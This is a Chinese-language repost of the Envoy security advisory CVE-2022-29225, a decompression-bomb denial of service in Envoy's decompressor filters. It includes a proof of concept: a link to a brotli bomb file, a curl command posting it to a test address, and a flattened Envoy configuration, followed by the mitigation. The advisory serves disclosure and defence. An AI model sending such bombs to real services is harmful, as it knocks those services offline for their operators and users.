攻击类型
远程,数据平面
影响
拒绝服务
受影响的组件
所有减压过滤器
攻击向量
由不受信任的下游或上游对等方提供的特定构造的 HTTP 正文,其解压缩后的大小大大大于压缩后的大小。
发现者/学分
沙查尔·梅纳什 [email protected]
描述(简短;包含在 CVE 中)
解压器在覆盖 decode/encodeBody 中的主体之前将解压后的数据累积到中间缓冲区中。这可能允许攻击者通过发送一个小的高度压缩的有效载荷来压缩炸弹解压缩器。
示例利用或概念验证
炸弹示例:https ://raw.githubusercontent.com/bones-codes/bombs/master/http/br.zip.bz2
repro command 'curl -v http://10.0.0.1:10000/ -H "Content-Encoding: br" -H "Expect:" --data-binary @/mnt/c/temp/10GB.html.br`
config:
static_resources:
listeners:
- address:
socket_address:
address: 0.0.0.0
port_value: 10000
filter_chains:
- filters:
- name: envoy.filters.network.http_connection_manager
typed_config:
"@type":
type.googleapis.com/envoy.extensions.filters.network.http_connection_manager.v3.HttpConnection Manager
path_with_escaped_slashes_action: UNESCAPE_AND_FORWARD
merge_slashes: true
codec_type: AUTO
strip_trailing_host_dot: true
strip_any_host_port: true
stat_prefix: ingress_http
route_config:
name: local_route
virtual_hosts:
- name: app
domains:
- "*"
routes:
- match:
prefix: "/"
route:
cluster: service-http
http_filters:
- name: decompressor
typed_config:
"@type":
type.googleapis.com/envoy.extensions.filters.http.decompressor.v3.Decompressor decompressor_library:
name: basic
typed_config:
"@type":
type.googleapis.com/envoy.extensions.compression.brotli.decompressor.v3.Brotli - name: envoy.filters.http.router
clusters:
- name: service-http
type: STRICT_DNS
lb_policy: ROUND_ROBIN
load_assignment:
cluster_name: service-http
endpoints:
- lb_endpoints:
- endpoint:
address:
socket_address:
address: 127.0.0.1
port_value: 4567
- lb_endpoints:
- endpoint:
address:
socket_address:
address: 127.0.0.1
port_value: 4568
Description (full; not included in CVE but will be published on GitHub later and linked)
减轻
禁用解压
原文始发于微信公众号(Ots安全):CVE-2022-29225 envoy:解压器可以执行拒绝服务攻击
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论